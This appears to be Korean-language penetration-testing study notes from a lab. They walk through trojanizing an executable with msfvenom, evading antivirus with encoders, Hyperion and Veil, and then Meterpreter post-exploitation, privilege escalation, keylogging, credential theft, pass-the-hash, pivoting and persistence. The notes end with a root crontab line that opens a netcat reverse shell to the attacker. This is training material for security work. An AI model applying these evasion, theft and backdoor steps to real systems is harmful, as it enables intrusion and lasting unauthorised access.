정상적으로 작동하는 프로그램 속에 악성 행위를 하는 payload를 숨겨두는 기법
msfvenom의 -x 옵션을 사용하여 특정 실행 파일 속에 payload를 내장할 수 있다. 이때 -k 옵션을 함께 사용하면 원본 실행 파일의 행위를 유지한 채 악성 행위를 끼어넣을 수 있다. 즉, 사용자가 무결한 원본 실행 파일인 것으로 착각하여 악성 파일을 실행하도록 유도한다.
windows/meterpreter/reverse_tcp payload를 kali에서 제공하는 windows 실행 파일 중 하나인 /usr/share/windows-binaries/radmin.exe 파일에 심는다.
만들어진 exe 파일을 windows 환경에서 실행한다. radmin.exe가 정상적으로 실행되는 것처럼 보인다.
타깃 win 7에 설치된 Microsoft Security Essentials(MSE) 실행하여 settings > Real-time protections을 선택하여 해당 기능을 켠다.
방금 전까지 문제 없이 실행할 수 있었던 radmin이 trojan으로 탐지되어 삭제된다.
virustotal 웹 사이트에 파일을 업로드하여 해당 파일이 악성 프로그램인지 판별할 수 있다. Virustotal은 여러 안티바이러스 프로그램으로 파일을 스캔하여 결과를 보여준다. 앞서 만든 파일을 업로드하면 다음과 같이 대부분의 안티바이러스 프로그램이 악성 프로그램으로 판별한 것을 확인할 수 있다.
payload를 인코딩하여 안티바이러스 프로그램 우회 시도를 할 수 있다. metasploit으로 payload를 인코딩하면 payload는 프로그램이 실행될 때만 디코딩된다. 또한 각 인코딩시 다른 결과가 나오도록하여 안티바이러스 프로그램의 시그니처 분석을 피한다.
msfvenom의 -l 명령어로 지원하는 인코더 목록을 확인할 수 있다.
excellent로 랭크된 x86/shikata_ga_nai 인코더를 사용한다. 인코더의 랭크는 결과물의 엔트로피로 매겨진다.
-e 옵션으로 msfvenom의 인코더를 지정할 수 있다. -i 옵션으로는 해당 인코더를 몇 라운드 적용할지 지정할 수 있다.
하지만 x86/shikata_ga_nai 하나로는 여전히 virustotal이 악성 프로그램으로 판정한다.
여러 인코더를 사용하는 방법으로 대응할 수 있다.
하지만 뚜렷한 효과는 없다. 아직도 대부분의 안티바이러스 프로그램들이 악성 프로그램으로 판정한다. 앞서 한 것처럼 유효한 프로그램에 내장하는 방식이 조금 더 낫긴 하지만 여전히 우회 목표인 MSE에서는 악성으로 판단한다.
Metasploit은 이미 잘 알려진 payload 생성 도구이고 이미 만들어진 탬플릿을 기반으로 payload를 실행하기 때문에 안티 바이러스 프로그램의 정적 분석을 피하기에는 한계가 있다. 직접 shellcode를 작성하는 것도 한 방법이 될 수 있다.
msfvenom의 -f 옵션을 c로 설정하여 payload를 c 기반의 헥사값으로 출력한다.
이 값을 shellcode로 사용하되 랜덤 값을 추가하여 코드를 변형한다. 랜덤 값은 linux의 /dev/urandom 파일에서 적당량 사용한다.
다음과 같이 c언어 소스코드를 완성한다.
ming32를 사용하여 32bit로 해당 소스코드를 컴파일한다. 생성한 프로그램을 virustotal로 검사한다. 악성 프로그램으로 탐지하는 안티바이러스 프로그램의 수가 많이 줄어든 것을 확인할 수 있다. 하지만 여전히 MSE에서는 악성 프로그램으로 판단한다.
Hyperion은 AES 기반의 암호화 모듈이다. Hyperion은 암호화한 후 사용한 키를 저장하지 않는다. 프로그램은 실행될 때 brute-force를 사용하여 복호화한다. windows 기반의 프로그램이기 때문에 kali linux에서는 wine을 사용하여 실행할 수 있다.
msfvenom으로 기본적인 reverse meterpreter payload를 생성한 뒤 이것을 hyperion으로 암호화한다.
virustotal로 확인하면 별다른 인코더를 사용하지 않고도 악성 프로그램으로 판별하는 수가 줄어든 것을 알 수 있다.
안티바이러스 우회 payload를 제작할 수 있는 python 프레임워크로 파이썬의 Ctypes 라이브러리를 사용하여 windows API를 호출하는 것은 물론 C에 호환가능한 데이터 타입들을 생성할 수 있다. 그 중 VirtualAlloc이라는 windows API를 사용하여 새로운 실행 파일 메모리를 shellcode에 할당하고 이 메모리를 물리 메모리에 지정하여 쉘 코드가 실행되며 page fault가 나는 것을 방지할 수 있다.
Veil을 실행한 뒤 evasion 모듈을 선택한다.
list 명령어로 payload 목록을 확인할 수 있다. python payload에 집중한다. shellcode_inject/aes_encrypt.py이 VirtualAlloc을 이용하는 payload이다.
해당 payload를 선택하면 필요 옵션들이 자동으로 출력된다.
generate 명령을 입력하면 payload를 제작할 수 있다.
Msfvenom을 사용한다. 기본 metasploit payload를 사용한다. payload에 필요한 옵션들을 지정해주고 payload를 생성한다. 이후 payload를 exe 실행파일로 변환하기 위하여 PyInstaller를 사용한다.
/var/lib/veil/output/compiled 디렉토리에 생성된 실행파일이 저장된다.
생성된 실행파일은 win 7에서 실행해도 real-time protection이 켜져있어도 MSE가 악성코드로 판정하지 않는다.
exploit이 성공하여 특정 시스템에 접근한 후, 공격 목표에 따라 네트워크를 이용하여 다른 시스템으로 넘어가거나 시스템 속의 민감한 정보들을 수집할 수 있다.
3개의 타깃 시스템에 모두 meterpreter session을 연결하여 준비한다.
sessions -i 명령을 통해 winXP의 세션을 선택한다.
meterpreter의 upload 명령을 사용하면 대상 시스템에 관계 없이 파일을 업로드할 수 있다. 이때 windows 환경이라면 업로드 경로는 windows의 경로 표현대로 \로 표현해야하며 두번 사용하여야 escape되어 정확한 경로로 인식된다.
getuid 명령을 통해 현재 실행되고 있는 meterpreter의 권한을 조회할 수 있다. 보통은 exploit한 프로그램이나 사용자의 권한을 따른다. win XP는 smb의 취약점을 통하여 exploit했기 때문에 smb의 권한인 system을 갖는다.
run 명령어로 다양한 script를 실행시킬 수 있다. metasploit에서 기본 제공하는 스크립트는 물론 직접 새로 제작하여 사용할 수 있다.
meterpreter를 새로운 프로세스로 이주시킬 수 있다. ps 명령어로 실행중인 프로세스를 확인하고 -p 옵션으로 pid를 지정하여 원하는 프로세스로 이주할 수 있다.
사용자 rinm이 실행한 explorer로 이주하면 getuid 명령어를 통해 사용자 권한으로 변경된 것을 확인할 수 있다.
metasploit의 post 디렉토리에는 local 정보 수집, 원격 조종, 권한 상승 등 다양한 기능을 제공하는 모듈이 포함되어 있다.
bg 명령어나 ctrl+z를 사용하여 다시 세션을 백그라운드로 돌린다. post/windows/gather/enum/logged_on_users 모듈을 사용한다. 이 모듈은 타깃 시스템에 log on한 사용자 목록을 보여준다.
session을 지정하여 어떤 세션에서 log-on 사용자를 탐색할지 선택할 수 있다.
win XP 세션을 선택한 뒤 exploit을 입력하여 모듈을 실행한다. 다음과 같이 현재 log on된 사용자는 물론 최근 log-on한 사용자 목록을 볼 수 있다. 또한 이 기록은 자동으로 txt 파일로 저장된다.
Railgun은 meterpreter가 windows API에 접근할 수 있도록 돕는 확장 프로그램이다. 다시 win XP 세션의 meterpreter에 접속한 뒤 irb 명령어로 Ruby shell을 실행한다.
예를 들어 client.railgun.shell32.IsUserAnAdmin으로 windows의 shell32 DLL에 포함된 IsUserAnAdmin함수를 실행할 수 있다.
meterpreter의 getsystem 명령어는 windows의 알려진 권한 상승 exploit을 자동으로 실행한다.
현재 사용자 rinm의 권한을 가지고 있는 win XP 세션에서 getsystem 명령어를 입력한다.
meterpreter의 권한이 다시 system으로 상승한 것을 확인할 수 있다.
metasploit의 local 모듈로도 권한 상승을 시도할 수 있다. exploit/windows/local/ms11_080_afdjoinleaf 모듈을 사용하면 windows 드라이버인 afd.sys의 afdjoinleaf 함수의 취약점을 사용하여 권한 상승할 수 있다.
post-exploitation 모듈과 마찬가지로 실행할 세션을 지정하여 사용한다.
win 7에서는 UAC(User Account Control)이라는 부가적인 보안 정책이 존재한다. application이 사용자 권한으로 동작하는데 제한이 주어지며 사용자 권한이 필요한 application의 경우 관리자의 승인을 받아야한다.
타깃 win 7은 브라우저의 java 취약점을 사용하여 연결된 meterpreter 세션이기 때문에 현재 사용자 joons의 권한으로 동작 중이다.
getsystem 명령어를 사용해도 권한 상승에 실패한다. UAC가 권한 상승을 막고 있는 것이다.
metasploit의 exploit/windows/local/bypassuac를 사용하면 UAC를 우회하여 권한 상승할 수 있다.
meterpreter의 shell 명령어로 일반적인 cmd shell을 이용할 수 있다.
권한 상승을 위한 시스템 취약점을 찾아야한다. 우선, 시스템의 정보를 수집한다. 어떤 커널이 설치되어 있는지 조사한다. uname -a 명령을 사용하면 리눅스 커널 버전이, lsb_release -a를 통하면 설치된 Ubuntu의 버전이 출력된다.
CVE-2009-1185는 리눅스 디바이스 매니저인 udev와 관련된 취약점이다. udev는 데몬을 실행하면서 그 드라이버 요청이 커널로부터 왔는지 확인하지 않는다. 사용자가 실행한 프로세스라도 udev가 root 권한으로 실행될 수 있도록하는 것이다. 이 취약점은 타깃 ubuntu 버전인 8.10에서 유효하며 udev의 버전이 141 이전인 경우 영향을 받는다. udevadm --version으로 udev의 버전을 확인할 수 있다.
Kali linux에서는 exploitdb.com에서 public exploit 코드를 제공한다. 그 중 /usr/share/exploitdb/exploits/linux/local/8572.c를 사용한다.
udev의 netlink socket의 PID를 알아야한다. 사용법에 명시되어있듯 이 정보는 /proc/net/netlink에서 얻을 수 있다. 또한 exploi 성공시 /tmp/run에서 작동하므로 kali로 다시 연결을 받기 위해서는 이 위치에 kali와 연결할 코드를 작성해야한다.
타깃 ubuntu에서는 gcc를 이용하여 C 코드를 컴파일할 수 있다. 이 코드를 웹 서버에 올려두고 wget 명령어로 타깃 ubuntu에서 내려받아 컴파일한다.
udev netlink socket의 pid를 알기 위하여 /proc/net/netlink를 출력한다.
이 중 udev netlink socket을 알아야한다. 보통 udevd의 pid-1이라고 했으므로 ps 명령어로 udevd의 pid를 찾는다.
위의 /proc/net/netlink에서 발견한 pid 2501이 udev netlink socke의 pid임을 알 수 있다.
이제 /tmp/run 파일을 작성한다. Ubuntu의 netcat을 이용하여 Kali와 연결될 수 있게 한다.
이에 대응하는 netcat listener를 kali에서 실행하는 것도 잊지 않는다.
이제 ubuntu에서 컴파일한 프로그램을 실행한다. kali에서 netcat이 연결된 것을 확인할 수 있다. whoami 명령어를 통해 현재 root 권한으로 연결되어 있는 것을 확인할 수 있다.
시스템 접근에 성공하면 이제 시스템에서 얻을 수 있는 민감한 정보들을 모아야한다. password를 평문으로 저장하거나 약한 hash를 사용하는 등 다양한 정보를 제공해 줄 수 있는 소프트웨어를 이용한다. 이렇게 얻은 정보는 네트워크 내의 다른 시스템에 침입할 때 유용하다.
meterpreter의 search 명령어로 password가 이름에 포함된 파일들을 찾을 수 있다.
log-in 상태의 user의 행위에서 정보를 얻을 수 있다. meterpreter는 keyscan이라는 keylogger를 제공한다. 이때 keylogging의 대상은 현재 세션의 사용자이다. 아래와 같이 keyscan_start로 keylogging을 시작하고 그 내용을 keyscan_dump로 확인할 수 있다.
keyscan_stop으로 keylogger를 멈출 수 있다.
WinSCP에 저장된 credential를 가로챌 수 있다. 우선 win XP에 설치된 WinSCP를 실행한다. 프로토콜을 SCP로 설정한뒤 타깃 ubuntu의 정보를 입력한다.
save 버튼을 클릭한다. password를 저장하기로 선택한다.
이제 kali로 돌아와 metasploit의 post/windows/gather/credentials/winscp를 사용한다.
win XP 세션으로 세션을 지정한 후 exploit하면 저장된 credentail이 출력된다.
windows의 net 명령어를 통해 네트워크 정보를 보거나 편집할 수 있다. meterpreter의 shell 명령어를 통하여 windows cmd에 진입한다. net users 명령어로 모든 로컬 사용자 목록을 볼 수 있다.
locagroup 옵션으로 사용자 그룹 정보도 확인할 수 있다.
Linux 시스템의 경우 사용자의 bash 기록을 얻을 수 있다. 이 기록은 사용자 홈 디렉토리의 .bash_history 파일에 저장된다.
한 시스템 접근에 성공하면 이제 같은 네트워크에 속한 시스템 접근을 시도할 수 있다.
metasploit의 모듈 exploit/windows/smb/psexec으로 앞선 exploit으로 알아낸 winXP의 credential을 사용하여 다른 시스템에 접근할 수 있는지 알아볼 수 있다.
해당 credential로 로그인에 성공하면 systen 권한의 meterpreter가 연결된다.
이때 주어지는 SMBPass가 LM:NTLM 해시 형태여도 PSExec 모듈의 pass the hash를 사용하여 로그인에 성공할 수 있다.
리눅스 시스템에서도 windows의 psexec처럼 Sshexec을 사용할 수 있다. metasploit의exploit/multi/ssh/sshexec 모듈을 사용한다.
USERNAME과 PASSWORD을 이미 알고 있는 credential로 세팅한 후 exploit한다. 제공한 credential로 로그인이 성공한 것을 확인할 수 있다.
평문의 password를 알아내는 것은 어렵다. 대신 token을 사용한다. windows에서는 토큰을 확인하여 해당 프로세스가 어떤 자원에 접근하고 사용할 수 있는지 관리한다. 원격 desktop에서 접속하면 delegation token이 생성된다. 이 delegation 토큰은 프로세스가 마치 로컬 시스템이나 같은 네트워크에 있는 것처럼 동작할 수 있다. 이 토큰은 재부팅할 때까지 유지된다. 이 토큰을 얻어낼 수 있다면 임시로나마 추가적인 권한을 얻을 수 있다.
meterpreter의 Incognito를 사용하면 토큰을 탈취할 수 있다.
Incognito의 list_tokens -u를 사용하면 사용가능한 유저 토큰을 조회할 수 있다.
impersonate_token 명령어를 사용하여 rinm 토크 탈취를 시도한다. (백슬래시 이스케이프 필요)
metasploit의 auxiliary/server/capture/smb를 사용하면 SMB 서버를 구축하여 모든 인증 시도를 가로챌 수 있다.
JOHNPWFILE에 결과를 저장할 John the Ripper 파일을 지정할 수 있다. rinm로 impersonate한 meterpreter에서 shell을 실행한 후 net use 명령을 사용하여 kali가 구축한 가짜 SMB 서버에 인증을 시도한다.
kali의 listener를 살펴보면 로그인을 시도한 rinm의 credential를 획득한 것을 볼 수 있다.
이때 얻은 해시값은 NETLM과 NETNTLM 해시 값이다. 이 방식을 통하여 SMB를 이용하는 네트워크의 다른 사용자의 credential을 탈취할 수 있다.
타깃 win 7은 kali와 같은 네트워크인 network1과 host-only 네트워크에 동시에 연결되어 있다. 타깃 win XP를 host-only 네트워크로 변경하여 kali가 접근할 수 없게 설정한다.
이러한 상황에서 win XP에 접근하려면 kali는 win 7 타깃에 우선 접근하고 그 후 win XP로 이동할 방법을 찾아야한다. Metasploit을 사용하여 두 타깃 시스템 사이의 트래픽을 모두 라우팅하면 win 7에 따로 해킹 툴을 설치하지 않아도 win XP에 침투할 수 있다.
win 7에서 ipconfig 명령어로 연결된 두 네트워크의 IP주소를 확인할 수 있다.
kali의 metasploit에서 route 명령어로 win 7의 host-only 네트워크로 가는 트래픽을 추가한다.
route add [network IP] [subnetmask] [session id]
이제 metasploit이 전송하는 모든 host-only network를 향한 트래픽은 자동으로 win 7의 세션으로 라우팅된다.
metasploit의 포트 스캐닝 모듈을 사용하여 win XP의 포트를 살펴본다.
RHOST를 win XP의 host-only network IP로 설정한다. exploit하면 열려있는 TCP 포트 목록을 확인할 수 있다.
kali와 동일한 네트워크에 속해있을 때와 달리, exploit에 성공하더라도 win XP는 kali에게 reverse payload를 보낼 수가 없다. 대신 bind payload를 사용하면 reverse 연결을 받을 수 있다.
windows/meterpreter/bin_tcp payload를 사용한다. RHOST를 winXP로 설정하고 exploit한다. 같은 네트워크에 연결되어 있을 때처럼 meterpreter세션을 얻을 수 있다.
proxy 서버를 활용하여 win XP에 접근할 수도 있다. metasploit의 socks_proxy 모듈을 사용하여 proxy 서버를 구축한다.
ProxyChains의 설정을 변경한다. /etc/proxychains4.conf 파일에서 사용할 포트를 metasploit의 1080번으로 변경한다.
이제 proxychains를 사용하여 nmap 등의 도구로 win XP를 탐색할 수 있다. -Pn 옵션은 nmap이 프록시를 통하여 ping하지 않도록 한다. TCP 스캔과 버전 스캔을 동시에 진행한다.
meterpreter는 memory에만 존재하기 때문에 시스템이 재시작하면 세션이 끊긴다. 매번 다시 세션을 연결하는 것은 비효율적이며 위험하다. 그 대신 조금 더 쉽게 접근할 수 있는 길을 마련해 놓는다.
windows shell에 접근할 수 있다면 net user 명령어를 사용하여 새로운 사용자를 생성한다. 그 후 알맞은 그룹에 사용자를 추가한다. 관리자 권한이 있다면 관리자 그룹에 추가하는 것이 도움이 될 것이다.
net user [username] [password] /add
net localgroup [group] [username] /add
윈도우즈 도메인이 존재한다면 이 도메인과 그 도메인 그룹에 사용자를 추가할 수 있다. 도메인 관리자의 토큰을 탈취할 수 있다면 도메인에 계정을 추가할 수 있을 것이다.
net user [username] [password] /add /domain
net localgroup [group] [username] /add /domain
Linux에서는 adduser를 사용하여 사용자를 추가할 수 있다. sudoers 그룹에 사용자를 추가하면 root 권한으로 명령을 실행할 수 있다.
meterpreter의 exploit/windows/local/persistence 모듈로 windows 백도어를 생성할 수 있다. 원하는 세션을 지정하고 exploit한다.
다음과 같이 해당 시스템에 시작프로그램으로 등록된 것을 볼 수 있다.
linux의 cron 명령어를 사용하면 프로그램을 자동 실행할 수 있다. netcat을 사용하여 kali에 접속하는 것을 자동 실행하도록 등록하면 더 쉽게 타깃 ubuntu에 접근할 수 있다.
/etc/crontab 파일에 다음과 같이 추가하면 된다. 추가 후에는 cron 서비스를 재시작한다.
*/10 * * * * root nc [kali ip] [port] -e /bin/bash